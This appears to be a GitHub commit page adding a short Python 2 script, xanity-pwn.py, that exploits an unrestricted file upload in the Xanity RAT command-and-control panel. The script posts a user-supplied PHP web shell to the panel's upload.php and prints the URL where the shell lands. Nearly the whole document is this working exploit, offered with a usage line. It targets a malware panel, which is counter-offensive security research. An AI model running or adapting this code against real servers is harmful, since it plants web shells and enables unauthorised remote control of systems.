Skip to content

Commit a3508d9

Browse files
author
David Davidson
authored
Create xanity-pwn.py
1 parent 0931463 commit a3508d9

File tree

1 file changed

+28
-0
lines changed

1 file changed

+28
-0
lines changed

Xanity-Shell/xanity-pwn.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/python2
2+
# coding: utf-8
3+
# Xanity RAT C&C Panel Shell Upload Exploit
4+
# Written before coffee happened.
5+
# Author: Darren Martyn
6+
# Licence: WTFPL - wtfpl.net
7+
import requests
8+
import sys
9+
import os
10+
11+
def upload_shell(url, shell):
12+
up_url = url + "?d=lol" # add "d" param
13+
try:
14+
files = {'file': open(shell, "rb")}
15+
r = requests.post(url=up_url, files=files)
16+
except:
17+
sys.exit("[-] failure")
18+
if "1" in r.text: # the next line is ugly as sin.
19+
print "[+] Shell Uploaded! It should be in: %s" %(url.replace("upload.php", "lol/%s" %(os.path.basename(shell))))
20+
21+
22+
def main(args):
23+
if len(args) != 3:
24+
sys.exit("use: %s http://xanity.skids/upload.php /your/shell.php" %(args[0]))
25+
upload_shell(url=args[1], shell=args[2])
26+
27+
if __name__ == "__main__":
28+
main(args=sys.argv)

0 commit comments

Comments
 (0)